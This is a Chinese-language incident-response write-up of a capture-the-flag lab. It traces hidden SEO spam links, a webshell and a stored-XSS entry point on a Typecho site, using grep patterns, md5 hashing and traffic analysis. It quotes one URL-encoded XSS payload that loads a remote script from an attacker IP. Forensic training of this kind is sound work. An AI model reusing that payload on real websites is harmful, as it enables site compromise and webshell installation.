黑链的特征:
- 隐藏链接:黑链通常隐藏在网站页面中,使用CSS、JavaScript或其他手段使其对普通用户不可见,但仍然能被搜索引擎爬虫检测到。
- 恶意内容:这些链接指向的内容可能包含恶意软件、钓鱼页面或其他不良内容,试图感染用户的计算机或窃取个人信息。
- 伪装链接:黑链可能伪装成合法的链接,通过使用误导性的锚文本或URL,诱导用户点击。
- 大量生成:黑链通常通过自动化工具大量生成,散布在多个网站上,以提高恶意网站的搜索引擎排名。
总结来说,黑链是一种通过不正当手段在网站上植入的链接,旨在提升恶意网站的搜索引擎排名或传播恶意软件。
在实际操作中,黑链通常通过以下方式植入:
- 网站漏洞:利用网站或插件的漏洞,通过SQL注入、跨站脚本(XSS)等手段植入黑链。
- 权限滥用:通过获取网站管理员权限,手动添加黑链。
- 文件上传漏洞:通过上传恶意文件(如带有后门的PHP文件),在服务器上执行代码,植入黑链。
找到黑链添加在哪个文件 flag 格式 flag{xxx.xxx}
一般流程,手动检查网站的HTML和PHP文件,寻找可疑的代码片段,或者检查特定的文件夹,某些文件夹更容易被黑客攻击,常见的如:/var/www/html,/tmp,/uploads,/images
,在linux里可以使用命令进行全局搜索。
grep -rnw '/var/www/html/' -e '黑链'
这里直接指定在网站目录下搜索。
bash
-r:递归搜索。这个选项告诉 grep 在指定目录下的所有子目录中进行搜索。
-n:显示行号。这个选项会在匹配的行前面显示行号,方便定位。
-w:匹配整个单词。这个选项告诉 grep 只匹配整个单词(即匹配边界)。在这里,黑链 被视为一个完整的单词,只有当它作为一个独立的单词出现时才会被匹配。
-e '黑链':指定要搜索的字符串。在这个例子中,我们要搜索的是包含 黑链 字符串的所有文件。
可以看到,甚至能够将压缩包里的内容都进行匹配。
tips
关于关键词的选取需要进行收集,在搜索到可能的有黑链的文件后还需要进一步进行人工分析。
黑链隐藏方式:
- 隐藏的 HTML 元素:使用 CSS 将链接隐藏在网页中,如 display:none 或 visibility:hidden。
- JavaScript 动态加载:使用 JavaScript 动态加载黑链,使其在页面加载时才出现。
- URL 重定向:通过 URL 重定向,将合法链接引导到恶意网站。
- 伪装成正常内容:黑链可能伪装成正常的内容或链接,混杂在正常网页内容中。
例如匹配关键字:'href=', 'http'
一般先用D盾扫一遍,提高工作效率。
flag{header.php}
webshell的绝对路径 flag{xxxx/xxx/xxx/xxx/}
通过命令行查shell:grep -rnw '/var/www/html/' -e 'eval('
一般使用D盾等工具进行扫描找出。
flag{/var/www/html/usr/themes/default/404.php}
黑客注入黑链文件的 md5 md5sum file flag{md5}
一般黑客注入黑链文件,常见的有:
- JavaScript:通过JavaScript代码动态插入隐藏链接或
iframe
。可以通过脚本在用户浏览页面时实时插入黑链,常见于页面底部或隐藏的元素中。 - HTML:直接在 HTML 文件中嵌入隐藏的链接。链接通常设置为
display: none
或放置在不可见的位置(如超出视口的区域)。 - PHP:在PHP文件中嵌入生成隐藏链接的代码。利用服务器端代码生成黑链,可以隐藏在模板文件、插件文件等处,较难被发现。
- CSS:通过 CSS 文件定义隐藏链接的样式。使用
display: none
、visibility: hidden
或position: absolute; left: -9999px
等方式隐藏链接。 - iframe:在页面中嵌入一个隐藏的
iframe
,iframe内部加载包含黑链的页面。iframe 可以指向外部恶意页面,通过隐藏的 iframe 难以被发现。 - .htaccess:使用 Apache 服务器的 .htaccess文件进行URL重写,植入黑链。通过重写规则隐蔽地将用户引导至黑链页面。
在前面找webshell时,找到过一个js文件里存在shell代码,优先分析这个js代码。
代码第一部分是在404.php中注入iframe,第二部分就是写shell。
对文件计算md5:
windos下命令:certutil -hashfile <文件名称> MD5
flag{10c18029294fdec7b6ddab76d9367c14}
攻击入口是哪里?url请求路径,最后面加/ flag{/xxxx.xxx/xxxx/x/}
在目录下有个流量包,下载进行分析即可。
根据之前找到的poc1.js文件,可以直接筛选http contains "poc1.js"
。
这里有多个流量都存在poc1.js,需要进一步进行分析,但是发现了一个xss注入痕迹。
推测攻击者是利用这个poc写入poc1.js的,所以利用这个poc进行筛选,注:需要通过url编码。
http contains "http%3A%2F%2Fxxx.xxx.com%2F%22%3E%3C%2Fa%3E%3Cscript%2Fsrc%3Dhttp%3A%2F%2F192.168.20.130%2Fpoc1.js%3E%3C%2Fscript%3E%3Ca%2Fhref%3D%22%23"
然后追踪http流进行分析,通过查找关键字poc1.js进行分析,目的是找到前面的poc是在什么时候写入到网站。
找到第一处,流量要成对分析,请求包里的url值为poc,提交后发生了302跳转。
跳转后发出的请求路径/index.php/archives/1/
此时poc已经在cookie里了。
在响应包中发现,xss已经被插入。
Typecho1.2 - 1.2.1-rc前台评论存储xss到rce 漏洞复现-分析-修复 - JunBlog
flag{/index.php/archives/1/}